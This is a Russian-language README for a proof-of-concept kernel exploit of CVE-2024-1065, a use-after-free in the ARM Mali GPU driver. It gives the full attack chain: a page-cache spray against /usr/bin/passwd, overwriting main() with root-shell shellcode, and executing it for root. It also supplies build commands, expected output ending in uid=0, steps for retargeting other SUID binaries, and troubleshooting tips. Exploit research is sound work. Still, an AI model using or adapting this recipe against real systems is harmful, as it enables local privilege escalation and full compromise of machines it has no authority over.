
Эксплойт кэша страниц для CVE-2024-1065
Эксплойт доказательства концепции для CVE-2024-1065, физического use-after-free страницы в драйвере ядра GPU ARM Mali. Эксплойт демонстрирует эксплуатацию page cache: гонка освобожденной страницы MIGRATE_MOVABLE в образ кода в памяти SUID-бинарника, затем перезапись для достижения произвольного выполнения кода с правами root без изменения какого-либо файла на диске.
Только для исследовательских целей. Этот PoC нацелен на исправленную уязвимость на контролируемой тестовой системе x86. Уязвимый путь кода не может быть вызван из пользовательского пространства на производственных устройствах Pixel.
Запуск UAF — Анонимная страница импортируется в драйвер Mali GPU через KBASE_IOCTL_MEM_IMPORT и отображается дважды в пользовательское пространство. Освобождение обоих отображений возвращает физическую страницу в свободный список MIGRATE_MOVABLE buddy-аллокатора, в то время как cpu_mapping2 всё ещё ссылается на неё.
Распыление page cache — Эксплойт открывает /usr/bin/passwd 100 раз и многократно вытесняет страницу по смещению PAGE_OFFSET с помощью posix_fadvise(POSIX_FADV_DONTNEED), затем вызывает промах кэша с помощью pread. Каждый промах заставляет ядро выделить новую страницу MIGRATE_MOVABLE, циклически перебирая свободный список, пока не будет выбрана UAF-страница.
Подтверждение перекрытия — Чтение пробного байта через cpu_mapping2 по смещению MAIN_OFFSET подтверждает, что UAF-страница теперь поддерживает запись page cache бинарника. Значения 0x00 и 0x61 указывают на сбой; всё остальное — реальный код бинарника.
Внедрение shellcode — memcpy через cpu_mapping2 перезаписывает main() шеллкодом, вызывающим setuid(0), setgid(0) и execve("/bin/sh").
Выполнение — Вызывается execve("/usr/bin/passwd"). Загрузчик ELF отображает страницы page cache бинарника как исполняемые. Повреждённая страница уже присутствует — чтения с диска не происходит — поэтому шеллкод выполняется с правами root.
gcc -O2 -o exploit exploit.c
./exploit
Ожидаемый вывод:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
Все значения, специфичные для цели, определены в начале exploit.c:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* file offset of the page containing main() */
#define MAIN_OFFSET 0xbc0 /* intra-page offset of main() */
Чтобы перенацелить на другой бинарник, найдите смещение функции, дизассемблируя _start по адресу точки входа (readelf -h), затем вычислите:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
Проверьте перед запуском:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| Требование | Значение |
|---|
| Архитектура | x86-64 |
| Ядро | 5.15 (протестировано на 5.15.0+) |
| Конфигурация ядра | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| Устройство | /dev/mali0 доступно из пользовательского пространства |
| Целевой бинарник | /usr/bin/passwd (SUID root) |
| Симптом | Причина | Исправление |
|---|
| Распыление не удаётся после 100 попыток | UAF-страница потреблена до окна гонки | Предварительно вытесните целевую страницу до запуска UAF; увеличьте NUM_FDS |
kernel BUG at mm/page_poison.c | Проверка пробе прошла на байте 0xaa отравления страницы | Добавьте probe != 0xaa в проверку подтверждения |
SYSCHK fails on MEM_IMPORT | Драйвер Mali не загружен или неверная версия | Проверьте CONFIG_MALI_NO_MALI и согласование версии драйвера |